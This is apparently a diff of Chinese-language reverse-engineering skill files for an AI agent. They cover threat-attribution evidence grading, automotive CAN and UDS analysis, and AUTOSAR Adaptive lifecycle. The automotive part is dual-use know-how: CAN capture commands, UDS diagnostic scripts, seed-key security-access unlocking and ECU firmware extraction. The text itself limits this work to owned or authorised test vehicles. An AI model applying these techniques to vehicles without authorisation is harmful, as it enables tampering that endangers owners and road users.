# 归因决策树与证据分级
|
||||
|
||||
归因是推理链不是查询:每一步都要能回答「这条证据支持/反对哪个假设,强度多少」。本文档与 SKILL.md 步骤 1-4 配套使用。
|
||||
|
||||
## 场景决策树(输入 → 分支)
|
||||
|
||||
```
|
||||
输入请求
|
||||
├─ 单 IOC / 单个样本背景 → [[re-ti]](查询即可,不进入归因)
|
||||
├─ 行为判定「在干什么」→ [[re-behavior]]
|
||||
├─ 「是不是同一伙」多事件串并 → 归因流程(钻石模型定位)
|
||||
└─ 「谁干的」组织级归因 → 归因流程 + 置信度分级
|
||||
```
|
||||
|
||||
归因流程(钻石模型):
|
||||
|
||||
```
|
||||
四角信息盘点
|
||||
├─ 仅 1 角(只有样本或只有域名)→ 不出归因结论,输出「情报线索」级
|
||||
├─ ≥2 角且无独立证据交叉 → 「关联活动」声明(低置信度)
|
||||
├─ 2 类独立证据交叉 → 「疑似同一活动」(中置信度)
|
||||
└─ ≥3 类 + 时间线一致 + 无反证 → 「高度疑似归属」(高置信度)
|
||||
```
|
||||
|
||||
证据收集子分支(每角都走):
|
||||
|
||||
```
|
||||
证据类型 → 区分「控制」与「共享」
|
||||
├─ 控制面证据(注册邮箱/证书私钥操作/唯一配置/自研工具)→ 可计强证据
|
||||
├─ 共享面证据(托管商/跳板/公共 C2 框架/公开工具)→ 仅弱证据,不可独立归因
|
||||
└─ 时间线(活动窗口/时区校准后对齐)→ 只能佐证,不能独立定案
|
||||
```
|
||||
|
||||
## 分支逻辑说明
|
||||
|
||||
- **入口分流**:归因请求先问「有没有两角以上」,不足则退回情报级输出(单 IOC 查询归 [[re-ti]]),这是防止「一个域名归一个组织」类错误声明的第一道闸
|
||||
- **证据独立性**:两条证据来自同一条数据链(如同一份 whois 记录里的邮箱与注册者)算一类证据,不交叉;交叉 = 不同来源(whois + 证书透明 + 行为分析)
|
||||
- **强证据门槛**:唯一性特征(罕见字符串、自研工具、唯一注册信息)才可作强证据;「共用 C2 框架」等商品化特征一律弱证据
|
||||
- **时间线只作佐证**:时间窗口重叠说明「可能同时活跃」,不说明同一归属(攻击者会复用时段);时间线缺口必须显式标注
|
||||
|
||||
## 证据分级表
|
||||
|
||||
| 证据类型 | 弱 | 中 | 强 | 归因意义 |
|
||||
|---|---|---|---|---|
|
||||
| 基础设施 | 同托管商/同 C2 框架 | 共用 NS/ASN/证书 | 唯一注册邮箱/私钥/证书链 | 强证据可作核心,弱证据只作旁证 |
|
||||
| 能力/样本 | 同家族通用 TTP | 代码片段相似 | 唯一字符串/编译特征/自研模块 | 工具是商品化资源,单独不能定案 |
|
||||
| 行为/TTP | 同大类技术(ATT&CK 一级) | 同技术组合序列 | 罕见流程顺序+参数习惯 | 需要叠加其他角才升档 |
|
||||
| 时间线 | 活跃时段相近 | 时段重叠+节奏一致 | 事件序列交错(互为前置) | 只能佐证,不能独立定案 |
|
||||
| 反证 | 一条矛盾证据 | 多条矛盾证据 | 结构性矛盾(能力与声明不符) | 任何等级都要列出反证 |
|
||||
|
||||
## 置信度判定流程(组合套路)
|
||||
|
||||
1. 把每条证据按上表标档(弱/中/强)
|
||||
2. 合并同类来源(同一数据链只算一次)
|
||||
3. 统计独立证据类数(基础设施/能力/行为/时间线)
|
||||
4. 对照分级:1 类弱 = 低;2 类交叉或 1 类强 = 中;≥3 类 + 无反证 = 高
|
||||
5. 检查反证:有矛盾证据 → 降一级并写进报告「未决项」
|
||||
6. 措辞与置信度严格对应(见 [[gotchas]] 声明边界)
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 「控制 vs 共享」是第一判断,不是相似度判断——先问这条证据能不能被第三方买到/租到/偷到,再谈强度
|
||||
- 证据要能复现:每条证据标注来源与查询时间(whois 记录会过期,截图存档)
|
||||
- 分级结果不是终点:高置信度声明也要写「假设前提」(如「假设该基础设施未被劫持」)
|
||||
- 归因输出是概率化陈述,报告里禁用绝对化断言
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 全部在授权范围与脱敏要求内执行(不点名真实组织/受害者,见 SKILL.md 红线)
|
||||
- 结论按 [[re-analyze/analysis-contract]] 格式交付;对外报告与内部结论分离
|
||||
- 本技能结论是情报判断,不是司法证据(标准不同,见 [[gotchas]])
|
||||
@@ -0,0 +1,35 @@
|
||||
# 归因方法论坑与边界
|
||||
|
||||
## 基础设施误归因
|
||||
|
||||
- **共享 ≠ 控制**:C2 域名/服务器常被出售、出租、二次利用——「同一 C2 域名」只能说明使用过同一资源,不能说明同一组织;判断标准是注册信息/控制面痕迹(whois 邮箱、证书私钥、管理后台特征),不是 IP 或域名本身
|
||||
- **被劫持基础设施**:已退役或失守的服务器可能被多个活动方复用;若无法证明控制时间窗,证据只能计弱
|
||||
- **托管商聚集**:同一机房/托管商聚集大量恶意活动是常态,不能作为关联证据(同 NS/ASN 可作弱证据,且必须叠加其他角)
|
||||
- **Passive DNS 数据时效**:解析历史可能被缓存/污染,查询时点不同结果不同;取证性结论要标注查询时间与数据源
|
||||
|
||||
## 能力/样本证据坑
|
||||
|
||||
- **工具是商品化资源**:公开工具、框架、租赁服务任何人都能获得——「使用了某框架/公开工具」不能归因;只有自研/定制特征(独特字符串、私有协议实现细节)有区分度
|
||||
- **代码相似 ≠ 同源**:抄代码、借用开源项目、代码生成器都会产生相似;相似度阈值要按「唯一性内容占比」校准,不是整体相似度
|
||||
- **语言/伪装误导**:攻击者会故意使用其他语言/地区的字符串与习惯伪装归属(false flag)——单一语言特征只能作弱证据
|
||||
- **编译特征变化**:同一团队的构建链会变(编译器/打包方式升级),特征缺失不代表不同源;反过来说特征吻合也可能只是「同一构建工具」而非「同一团队」
|
||||
|
||||
## 时间线与反取证
|
||||
|
||||
- **时间戳伪造**:文件时间/日志时间可被改写;多时间来源(文件、日志、流量、第三方被动数据)交叉验证
|
||||
- **时区与时钟偏差**:跨时区/时钟未校准的设备产生的时间要先归一(统一 UTC)再对齐,否则「活动窗口重叠」是假象
|
||||
- **活动缺口 ≠ 活动结束**:攻击者切换基础设施/隐藏期是常态,时间线缺口要标注「未观察到」而非「不存在」
|
||||
|
||||
## 归因声明边界与反例
|
||||
|
||||
- **情报归因 ≠ 司法归因**:情报结论(概率化、分级)不满足刑事证据标准(排除合理怀疑、链式保管)——本技能输出是情报判断,移交司法场景要注明局限
|
||||
- **「无法归因」是合法结论**:证据不足时输出「关联活动」与证据清单,比强行归因更专业;声明「无法判定」并给出原因(缺角/反证/数据盲区)
|
||||
- **组织命名本身会误导**:公开标签(媒体起的代号)可能与实际归属无关;报告用可检验的描述(时间线+TTP+基础设施特征),少依赖标签
|
||||
- **反例**:仅凭「同一域名后缀」归因(域名后缀可注册);仅凭「同一样本家族名」归因(家族名是分析人员起的,不是归属证据)
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 授权与脱敏红线贯穿全程:不点名真实组织/受害者,案例化描述用代号
|
||||
- 每步产物存档(whois/证书/图输出,路径 + 查询时间 + sha256,见 [[re-triage]])
|
||||
- 结论按 [[re-analyze/analysis-contract]] 交付;对外口径与内部结论分离
|
||||
- 证据时效:whois/证书数据会过期,报告标注「截至查询时点」
|
||||
179
vendor-new/rev-skills/.claude/skills/re-automotive/SKILL.md
Normal file
179
vendor-new/rev-skills/.claude/skills/re-automotive/SKILL.md
Normal file
@@ -0,0 +1,179 @@
|
||||
---
|
||||
name: re-automotive
|
||||
description: >
|
||||
汽车逆向:CAN 总线、ECU 固件、AUTOSAR Classic(RTE/runnable/BSW)与 Adaptive(执行管理/清单)。
|
||||
触发词:汽车、CAN、ECU、车载、OBD、UDS、AUTOSAR、RTE、runnable、SWC、BSW、E_OS_ACCESS、
|
||||
Adaptive、ARA、Execution Management、Function Group、Machine State、Execution Manifest
|
||||
capabilities: [automotive-analysis]
|
||||
---
|
||||
|
||||
# 汽车逆向(CAN 总线 / ECU / AUTOSAR Classic)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 前置:拿到 ARXML 或车载软件包但不确定是 Classic 还是 Adaptive → [[re-analyze/system-fingerprints]] 的车载段
|
||||
- 用:拿到车辆 CAN 总线流量(candump 日志 / .asc / .blf)需要解析报文与信号
|
||||
- 用:车载设备(车机、T-Box、IVI、ECU 升级包)逆向
|
||||
- 用:OBD-II / UDS 诊断会话分析(读 DTC、安全访问、标定读写)
|
||||
- 用:ECU 固件提取与后续解包(配合 [[re-firmware]])
|
||||
- 用:**AUTOSAR Classic 软件**(SWC/runnable/RTE/BSW)——执行图由配置与代码生成决定,不能用普通调用图理解([[autosar-classic]])
|
||||
- 不用:只有 ECU 固件文件、没有总线访问(直接 [[re-fw-extract]])
|
||||
- 不用:需要跑固件观察行为([[re-fw-emulate]])
|
||||
- 不用:需要 JTAG/SWD 读 flash([[re-hardware-io]])
|
||||
- 红线:只对自有/获授权车辆与测试台架测试(见步骤 5)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。实车/实总线测试默认物理隔离——[[re-analyze/platform-tips]] 最高原则:仅自有或获授权测试车辆/台架可接入;实验室起步用 vcan 虚拟总线,不接真车。
|
||||
|
||||
### can-utils —— candump/cansend/cangen/canplayer 主力
|
||||
|
||||
- Linux: `apt install can-utils`(Debian/Ubuntu)/ `dnf install can-utils`(Fedora)/ Arch: 无官方包 → AUR(can-utils)或源码构建(`git clone https://github.com/linux-can/can-utils && cd can-utils && ./autogen.sh && ./configure && make`)
|
||||
- macOS/Windows: 无官方包(SocketCAN 为 Linux 内核特性)→ WSL/虚拟机内 Linux 版
|
||||
- 验证: `candump --help`;`cansend --help`
|
||||
|
||||
### socketcan —— Linux 内核 CAN 栈(vcan 虚拟总线 / can-isotp)
|
||||
|
||||
- Linux: 内核自带模块(5.10+ 内核含 can-isotp):`modprobe can vcan can-isotp`;`ip link` 来自 iproute2(基础系统自带)
|
||||
- macOS/Windows: 不支持 → WSL2/虚拟机(需 Linux 5.10+)
|
||||
- 验证: `modprobe vcan && ip link add dev vcan0 type vcan && ip link set up vcan0 && ip -details link show vcan0`
|
||||
|
||||
### USB-CAN 适配器 —— gs_usb 系(canable/candlelight)即插即用
|
||||
|
||||
- Linux: 内核自带 gs_usb 驱动(drivers/net/can/usb/gs_usb.c);插入后 `dmesg` 应注册 can0(个别发行版 CAN 驱动在 modules-extra 包,`modprobe gs_usb` 报错时装对应 extra 包)
|
||||
- macOS/Windows: 用厂商驱动 + 厂商软件,或经虚拟机透传
|
||||
- 验证: `modprobe gs_usb`;`ip -details link show can0`
|
||||
|
||||
### wireshark / tshark —— CAN/ISO-TP/UDS 解析
|
||||
|
||||
- 安装同 [[re-netcap]] 工具准备(apt/dnf/pacman/brew/choco);CAN(socketcan / Vector ASCII / BSLogger)、ISO-TP、UDS(ISO 14229)dissector 内置
|
||||
- 验证: `tshark --version`;candump `-l` 日志可直接 File → Open 打开
|
||||
|
||||
### python-can —— 脚本化解析(跨平台)
|
||||
|
||||
- 全平台: `pip install python-can`
|
||||
- Linux: `apt install python3-can`(Debian/Ubuntu)/ `dnf install python3-can`(Fedora)/ `pacman -S python-can`(Arch extra)
|
||||
- 验证: `python3 -c "import can; print(can.__version__)"`
|
||||
|
||||
### OBD-II / UDS 诊断库
|
||||
|
||||
- python-obd(ELM327 适配器,OBD-II 标准服务): 无官方包 → `pip install obd`;验证 `python3 -c "import obd"`
|
||||
- udsoncan(UDS ISO 14229 客户端): 无官方包 → `pip install udsoncan isotp`;验证 `python3 -c "import udsoncan, isotp"`
|
||||
- 注意:udsoncan 用 IsoTPSocketConnection 需要 Linux can-isotp 内核模块(5.10+)或 socketcan;无内核模块时用 PythonIsoTpConnection(走 python-can,跨平台但时序略差)
|
||||
|
||||
### scapy —— 汽车协议层(automotive 包,可选)
|
||||
|
||||
- 全平台: `pip install scapy`(含 `scapy.contrib.automotive` 与 `scapy.layers.can`)
|
||||
- 验证: `python3 -c "from scapy.contrib.automotive.uds import UDS; from scapy.contrib.automotive.doip import DoIP; from scapy.layers.can import CAN; print('ok')"`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。
|
||||
|
||||
1. **CAN 接入(USB-CAN / socketcan)**:
|
||||
- 无硬件起步(vcan 虚拟总线):
|
||||
```sh
|
||||
sudo modprobe can vcan can-isotp
|
||||
sudo ip link add dev vcan0 type vcan
|
||||
sudo ip link set up vcan0
|
||||
```
|
||||
- USB-CAN(gs_usb 系):
|
||||
```sh
|
||||
sudo modprobe gs_usb
|
||||
sudo ip link set can0 up type can bitrate 500000 # 500 kbit/s 经典波特率
|
||||
ip -details link show can0 # 确认 bitrate / state UP
|
||||
```
|
||||
- 波特率必须与总线一致(错误波特率 = 错误帧刷屏,见坑 3)
|
||||
|
||||
2. **candump 抓包**:
|
||||
```sh
|
||||
candump -t a can0 # 实时查看(绝对时间戳)
|
||||
candump -l can0 # 落盘日志(默认文件名带时间戳;无轮转——需要轮转交给 logrotate/外部脚本;Wireshark 可直接打开)
|
||||
candump can0 -n 100 # 只抓 100 帧
|
||||
candump can0,7E0:7FF # ID 过滤:接口名后接 can_id:mask(逗号分隔);掩码 7FF = 精确匹配 7E0,区间过滤用 7F8(匹配 7E0~7E7);CAN 无地址(见坑 1)
|
||||
candump -f can.log can0 # 注意 -f 是"日志写入文件",不是过滤参数
|
||||
```
|
||||
|
||||
3. **报文 ID / 周期 / 信号解析**:
|
||||
```sh
|
||||
cansniffer can0 # 按 ID 聚类、周期与变化字节高亮
|
||||
candump can0 | awk '{print $2}' | sort | uniq -c # 按 ID 统计帧数(默认输出第 2 列是 ID;注意 -c 是颜色模式,不是计数)
|
||||
canbusload can0@500000 # 总线负载率 %
|
||||
```
|
||||
- 周期消息(固定间隔 10/50/100ms 常见)→ 转速/车速等连续信号;事件消息(无规律)→ 开关/按钮
|
||||
- 信号解包:先定字节序(Intel 小端 vs Motorola 大端,见坑 2)→ 逐字节变化观察(cansniffer 高亮变化字节)→ 用 cantools 按 DBC 定义解包(`pip install cantools`)
|
||||
- 产出 ID 表:ID / 周期 / 长度 / 疑似信号 / 字节序
|
||||
|
||||
4. **UDS / OBD 诊断**:
|
||||
- OBD-II 快速体检(标准诊断对 0x7E0/0x7E8,ELM327 适配器):
|
||||
```python
|
||||
import obd
|
||||
conn = obd.OBD() # 自动探测适配器串口
|
||||
conn.query(obd.commands.SPEED) # 车速
|
||||
conn.query(obd.commands.GET_DTC) # 故障码
|
||||
```
|
||||
- UDS(ISO 14229,厂商诊断 ID 不固定,先抓包确认):
|
||||
```python
|
||||
import udsoncan, isotp
|
||||
from udsoncan.connections import IsoTPSocketConnection
|
||||
from udsoncan.client import Client, ClientConfig
|
||||
from udsoncan.services import DiagnosticSessionControl, DataIdentifier
|
||||
|
||||
# 关键:DID 的 payload 怎么编解码,由 config['data_identifiers'] 决定——
|
||||
# 该 DID 不在映射里时,udsoncan 在发送请求**之前**就抛 ConfigError
|
||||
#("contains no definition for data identifier 0xf190");映射里有但 codec 不是
|
||||
# DidCodec 实例则抛 ValueError("is not a valid DidCodec")。
|
||||
# 配置只需给出要覆盖的键:Client 会用 udsoncan.configs.default_client_config 补齐其余项,
|
||||
# 所以 data_identifiers 之外不必逐项照抄默认值。
|
||||
config = ClientConfig()
|
||||
config['data_identifiers'] = {
|
||||
0xF190: ..., # VIN 的标准 DID;codec = 17 字节 ASCII(用库自带的类型,或自定义 DidCodec 子类)
|
||||
}
|
||||
|
||||
conn = IsoTPSocketConnection('can0', isotp.Address(isotp.AddressingMode.Normal_11bits, rxid=0x7E8, txid=0x7E0))
|
||||
with Client(conn, request_timeout=2, config=config) as client:
|
||||
client.change_session(DiagnosticSessionControl.Session.extendedDiagnosticSession)
|
||||
vin = client.read_data_by_identifier(DataIdentifier.VIN)
|
||||
```
|
||||
- **读/写 DID 必须先配 codec**:`read_data_by_identifier` / `write_data_by_identifier` 依赖 client 配置里的 `data_identifiers`(DID → codec 映射)——**响应只是字节串,缺了 codec 就无从解码**,udsoncan 会以配置错误终止而不是"返回原始字节"。官方示例一律写成 `Client(..., config=MyCar.config)` 并注明 VIN 的 codec 配在 client 配置里。只想看原始载荷就别走 DID 解码路径,用不做解码的低层接口
|
||||
- 服务速查:0x10 会话控制 / 0x22 读数据标识符 / 0x27 安全访问(seed-key)/ 0x2E 写数据 / 0x31 例程控制 / 0x3E 保持活动 / 0x11 ECU 复位 / 0x34-0x36-0x37 固件下载流程
|
||||
- Wireshark 打开 candump 日志 → ISO-TP/UDS dissector 自动解码诊断会话
|
||||
|
||||
5. **ECU 固件**:
|
||||
- UDS 下载流程:标准传输核心是 `0x34 RequestDownload → 0x36 TransferData × N → 0x37 RequestTransferExit`;实际 ECU 编程通常先按 OEM 要求进 `0x10` 编程会话,服务受安全级别保护时执行 `0x27`(安全访问),擦除/完整性校验多经 OEM 定义的 `0x31`(例程控制),过程可能需 `0x3E` 保活、结束可能 `0x11` 复位——具体序列从 ECU 行为/ODX/固件恢复,不假定固定顺序。或 `0x23` 读内存获取固件 → 转 [[re-fw-extract]] 解包(ECU/车机固件与 IoT 固件同流程)
|
||||
- 直接拿到的升级包文件 → [[re-fw-extract]];固件 ELF → [[re-binary-core]];需硬件 flash 读取 → [[re-hardware-io]]
|
||||
|
||||
## IVI / T-Box / V2X 路径
|
||||
|
||||
按目标形态分流(判定规则):
|
||||
|
||||
- **IVI(车载娱乐系统)**:本质是 Android/Linux 系统——应用层走 [[re-apk]],系统镜像走 [[re-firmware]];关注 OEM 定制层(启动器、诊断接口、ADB/调试口)
|
||||
- **T-Box(远程信息处理箱)**:蜂窝模组(AT 指令接口)、MCU 固件([[re-fw-extract]] 提取分析)、远程控制协议(车控指令——门锁/空调/启动,走 [[re-protocol]])
|
||||
- **V2X(车联网通信)**:DSRC / C-V2X 帧结构 → [[re-protocol]] / [[re-ics]] 路径(协议状态机重建、PC5/Uu 接口区分);物理层信号采集走 [[re-sdr]]
|
||||
- 判定规则:应用层 → 移动/系统路径([[re-apk]] / [[re-firmware]]);通信层 → 协议路径([[re-protocol]] / [[re-ics]]);固件层 → 固件路径([[re-fw-extract]] / [[re-fw-rootfs]])
|
||||
|
||||
## 分支(references)
|
||||
|
||||
- [[autosar-classic]] —— **配置驱动 + 代码生成**的执行图:RunnableEntity 由 **RTEEvent** 激活、经 RTE 胶水映射到 **OS Task 或 ISR2**(**RTE 没有独立调度能力**),**无 caller 的 runnable 不是死代码**;**隐式访问**(`Rte_IRead_*`/`Rte_IWrite_*`)在 runnable 边界做快照与写回("消费者看到旧值"可能是语义);`E_OS_ACCESS` 来自 **OS-Application 所有权/保护**(默认拒绝,授权来自配置),不是参数错误;并发异常先查 OS 配置(Task 映射、优先级、抢占)
|
||||
- [[autosar-adaptive]] —— **清单驱动的生命周期**:POSIX 进程 + ARA 功能簇;**Modelled Process ≠ OS 进程**(不要 1:1 比较);**"bin 存在但进程不存在"先查 Function Group State / Machine State**(EM 把状态翻译成进程集合);Execution Manifest 可按状态给同一可执行文件不同配置;EM 切换时先终止再按依赖启动
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-firmware]]:本技能是其汽车分支(ECU 固件提取后 → 解包 → rootfs → 仿真)
|
||||
- [[re-fw-extract]] / [[re-fw-rootfs]] / [[re-fw-emulate]]:ECU/车机固件解包、文件系统分析、仿真
|
||||
- [[re-hardware-io]]:OBD 口抓包(CAN/UART)、JTAG/SWD 读 flash
|
||||
- [[re-protocol]]:DoIP(UDS over Ethernet,13400 端口)等车载以太网协议重建;CAN 私有协议转 [[re-proto-rev]]
|
||||
- [[re-sandbox]]:虚拟 CAN / DoIP 测试床隔离;固件仿真默认网络隔离([[re-analyze/platform-tips]] 最高原则)
|
||||
- [[re-binary-core]]:固件内 ELF 深度静态分析
|
||||
- [[re-crypto-id]] / [[re-crypto-decrypt]]:seed-key 算法、CAN 加密变体
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **CAN 无地址概念 → 过滤/归因错**:现象——想"按目标 ECU 过滤"却要么漏帧要么全抓;原因——CAN 帧无源目地址,只有 11/29 位仲裁 ID,ID 兼具优先级与"身份"(ID 越小优先级越高);对策——先全量抓(candump)再按 ID 聚类归类(cansniffer,或对 candump 输出管道 awk/sort/uniq 统计),用 `candump can0,ID:mask` 过滤,不预设主机概念
|
||||
- **信号位打包错**:现象——信号值乱(转速负值/巨大、多字节字段错位);原因——信号跨字节跨位打包,Intel(小端)/Motorola(大端)序混用,且信号不必对齐字节边界;对策——先定字节序再解包,用 DBC + cantools 定义位布局,与实车读数/已知量程交叉验证
|
||||
- **波特率不符与总线负载**:现象——`candump` 错误帧刷屏(error frame),或高负载下周期抖动、抓到的周期不可信;原因——波特率与总线不一致;负载高(>60-70%)时仲裁延迟与丢帧;对策——接入前确认波特率(500 kbit/s 最常见,canbusload 看负载率),周期性分析排除高负载时段,需要精确时序用硬件时间戳
|
||||
- **seed-key 安全访问被拒**:现象——UDS 读内存/写标定回 0x7F 27 33(SecurityAccessDenied);原因——0x27 需先解锁:服务端发 seed(0x27 01/03),客户端回 key(0x27 02/04),算法厂商私有(XOR/CRC/AES 常见);对策——有合法诊断仪/工具时先抓一次正常解锁流程,算法还原走 [[re-crypto-id]] / [[re-crypto-decrypt]];只在自有测试设备上做,不盲目爆破
|
||||
- **固件校验/加密层**:现象——提取的固件在 [[re-fw-extract]] 解出垃圾,或烧回不工作;原因——ECU 固件带签名/CRC 校验、bootloader 验签或整体加密;对策——提取时按 0x34/0x36 会话完整传输并校验;分析时先区分加密/签名层再解包,解不开转 [[re-crypto-id]] / [[re-crypto-decrypt]];仅在授权测试床/设备上操作
|
||||
- **把 AUTOSAR runnable 当死代码**:现象——某业务函数没有任何调用者,判为残留/无用代码;原因——runnable 由 RTEEvent 经生成的 RTE 胶水在某 OS Task 内被调用,**调用关系在配置里而不是在源码里**;对策——找 `Rte_*` 包装与 RTEEvent 映射、确认它被映射到哪个 OS Task([[autosar-classic]])
|
||||
- **把隐式访问的"旧值"当一致性问题**:现象——生产者在运行中改了数据,消费者 runnable 执行期间一直读到旧值,怀疑 cache 或内存损坏;原因——隐式访问在 runnable 边界做快照与写回;对策——区分 `Rte_Read_*`(显式)与 `Rte_IRead_*`(隐式),按配置判定通信形式([[autosar-classic]])
|
||||
- **把 `E_OS_ACCESS` 当参数错误**:现象——`ActivateTask` 一类服务返回访问错误,怀疑 task ID 写错或 OS 损坏;原因——OS-Application 的所有权/保护状态:未在配置时授予访问权,或对象属于另一个不可访问的应用;对策——查对象所属 OS-Application、应用状态、信任级别与当前调用上下文([[autosar-classic]])
|
||||
@@ -0,0 +1,198 @@
|
||||
# AUTOSAR Adaptive:清单驱动的生命周期 / 服务发现 / PHM / 更新
|
||||
|
||||
<CORE RULE>
|
||||
底层通常确实是 POSIX OS,**但应用生命周期、服务发现、更新、健康监控都不是由 ELF 与进程树决定的**:
|
||||
|
||||
```
|
||||
Executable
|
||||
├─ Execution Manifest → Modelled Process / 启动参数 / 优先级 / 资源组 / FG State 映射
|
||||
├─ Service Instance Manifest → 服务部署 / SOME-IP 或 DDS 绑定 / 安全与 E2E / 实例映射
|
||||
└─ Machine Manifest → 网络 / 服务发现 / Machine State / Function Groups / PHM / 平台配置
|
||||
|
||||
State Management → Execution Management → start/stop Processes
|
||||
ara::com → service discovery / IPC
|
||||
PHM → supervision → State Management
|
||||
UCM → software cluster install / update / rollback
|
||||
```
|
||||
|
||||
所以:
|
||||
|
||||
```
|
||||
binary 明明装好了,进程却完全不存在
|
||||
→ 先查当前 Machine State / Function Group State / Execution Manifest
|
||||
→ 不要先判 crash 或 loader failure
|
||||
```
|
||||
|
||||
**这个进程按设计当前就不应该运行。**
|
||||
</CORE RULE>
|
||||
|
||||
> 版本提示:公开版本已推进到 R25-11,本节多数细节来自完整公开的 R24-11 规范;核心模型仍适用,**具体条目要按目标版本做指纹**。
|
||||
|
||||
## 一、Modelled Process ≠ OS 进程
|
||||
|
||||
- 元模型里的 **Process(Modelled Process)**是 ARXML 模型元素:"可执行文件在 Machine 上执行的一个被加载的实例"
|
||||
- 规范用不带前缀的 "process" 指 **POSIX 意义上的运行中进程**,以此区分两者
|
||||
- 运行期:EM 为**每个 modelled Process 建立一个 OS 进程**;之后 EM 只在状态管理与确定性执行方面与之相关
|
||||
- 变体:**上报型**(经 ExecutionClient 上报执行状态)、**不上报型**(可用于非 AP 适配的二进制)、**自终止型**(自己退出或被 EM 以信号终止)
|
||||
- **`identity = Executable + Modelled Process 实例 + Function Group State`**,而不是 ELF 哈希
|
||||
|
||||
## 二、同一个 ELF 可以有多个不同行为的进程
|
||||
|
||||
规范明确允许**一个 Executable 二进制的每个启动实例分别配置**,且**不同 Machine State / FG State 可以采用不同配置集**。所以:
|
||||
|
||||
```
|
||||
foo
|
||||
├─ Process A 优先级 20
|
||||
├─ Process B 优先级 40
|
||||
└─ Process C 不同 args / resource group
|
||||
```
|
||||
|
||||
可以都是同一 executable 的不同 Modelled Process。**不要假设 1 executable = 1 process configuration。**
|
||||
|
||||
## 三、生命周期调用者不在目标进程自身
|
||||
|
||||
进程"无故"被终止、另一批进程随即启动,正常路径可以是:
|
||||
|
||||
```
|
||||
外部事件 → State Management → SetState(FunctionGroupState X)
|
||||
→ Execution Management → terminate A/B → start C/D
|
||||
```
|
||||
|
||||
- FG State 本身定义了"**哪些 Process 此时应该运行、哪些不应该**"
|
||||
- 状态切换时 EM **先终止正在运行的进程,再按执行依赖顺序启动新状态下活动的进程**,最后才向 SM 确认
|
||||
- 规范覆盖终止超时、启动超时、重启尝试等失败情形
|
||||
- 启动时 EM 由 OS 作为初始进程之一拉起(**不一定是第一个进程**),自行把 MachineFG 转到 **Startup**;此后**不再自行发起**状态切换——要由 SM 请求
|
||||
|
||||
**动态分析要求**:除了 fork/exec/exit 图,还必须建立 **state transition graph**。
|
||||
|
||||
## 四、服务发现:空结果与重复回调都可能正常
|
||||
|
||||
- **`FindService()` 明确允许返回空集合**——当前没有匹配的 service instance 可用而已
|
||||
- **`StartFindService()` 本身就是持续的异步可用性监控**:
|
||||
|
||||
```
|
||||
StartFindService() → callback([]) → 服务出现 → callback([service]) → 服务消失 → callback([])
|
||||
```
|
||||
|
||||
**第一次回调本来就允许是空的**。所以"发现服务返回零"不能立即判网络故障 / 清单损坏 / provider 崩溃,**必须观察 availability 生命周期**。
|
||||
|
||||
- 规范要求:**每当匹配 service instance 的可用性变化时重新调用 handler**,且**实现负责串行化同一个 handler**——因此同一个回调被调用多次**不是重复注册 bug**
|
||||
|
||||
## 五、handle 可以指向远端实例
|
||||
|
||||
拿到 service handle 却在本地找不到 provider 进程**完全正常**:
|
||||
|
||||
```
|
||||
Proxy handle 存在 + 本机没有 provider executable
|
||||
→ 不能判服务表被伪造
|
||||
→ 应追:Service Instance Manifest → 网络绑定 → 实例映射 → 远端机器
|
||||
```
|
||||
|
||||
## 六、`ara::com` ≠ 必然 SOME/IP
|
||||
|
||||
Adaptive service 可以部署到不同通信技术——公开模型中同时明确描述了 **SOME/IP 与 DDS** 的 service-instance deployment。
|
||||
|
||||
```
|
||||
ara::com API → binding → 可能是 DDS,而不是 UDP/TCP SOME/IP
|
||||
```
|
||||
|
||||
**所以:搜不到 SOME/IP 流量时先查 Service Instance Manifest**;分析器若写死"ara::com → SOME/IP"会直接产生事实性错误。
|
||||
|
||||
推论:跨 ECU 建图时把 **logical service interface** 与 **technical binding/deployment** 分开恢复——**接口相同而底层协议不同**可以正常。
|
||||
|
||||
## 七、PHM:没有 crash 不等于健康
|
||||
|
||||
- PHM 以**进程粒度**监督(不同于 Classic 的 WdgM 任务级 + 硬件看门狗复位)
|
||||
- 基本单位是 **Supervised Entity(SE)**:可映射到一个进程**或进程的一部分**;应用经 `ReportCheckpoint` 上报进度
|
||||
- **三类监督**:
|
||||
|
||||
| 监督 | 判据 |
|
||||
|---|---|
|
||||
| **Alive** | 周期内上报的检查点数量是否在期望范围内(过多/过少都算) |
|
||||
| **Deadline** | 起止检查点之间的执行时间是否落在配置区间 |
|
||||
| **Logical** | 检查点上报顺序是否符合预定义监督图(与时间无关) |
|
||||
|
||||
- 状态:本地状态 OK / FAILED / **EXPIRED(终态,不能回到 OK)**;全局状态在聚合之外还含 STOPPED(超过容忍期后)
|
||||
- **监督模式定义为 `<machine state, function group state>`**,由状态管理通知
|
||||
- **恢复动作**(在清单里定义):请求 SM 切 FG 状态、请求 EM 重启进程或进入不可恢复状态、**请求看门狗驱动复位**、上报诊断、转发给安全应用做复杂响应
|
||||
- **PHM 自身不启停进程**——由 EM 代为执行
|
||||
- PHM 还会监督 EM 守护进程的存活;其失败会升级为看门狗/机器复位(因为经 EM/SM 的常规恢复已不可靠)
|
||||
|
||||
**所以**:
|
||||
|
||||
```
|
||||
process wasn't segfaulted ≠ process was healthy
|
||||
系统重启了但找不到 reboot 调用者 → 查 PHM 监督状态 / SM 反应 / 看门狗路径
|
||||
```
|
||||
|
||||
## 八、UCM 与 Persistency:装上 ≠ 生效
|
||||
|
||||
- UCM 把 **transfer/install、verify、activate** 分开;激活前检查 Software Cluster 依赖,EM 在 Verify 阶段发现执行依赖不满足时可通过 SM/UCM 导致 **rollback**
|
||||
- 所以"磁盘上有新包"**不能**推出"新版本已生效";要分别确认:package received? installed? verified? **activated?** rollback?
|
||||
- **Persistency 的更新策略**(按元素/文件):
|
||||
|
||||
| 策略 | 含义 |
|
||||
|---|---|
|
||||
| `keepExisting` | 保留既有数据,忽略清单初始值(用户数据) |
|
||||
| `overwrite` | 用清单值替换(强制配置同步) |
|
||||
| `delete` | 删除既有元素(用于废弃配置) |
|
||||
|
||||
- 清单约束:`keepExisting`/`overwrite` 要求存在初始值;`delete` 要求不存在
|
||||
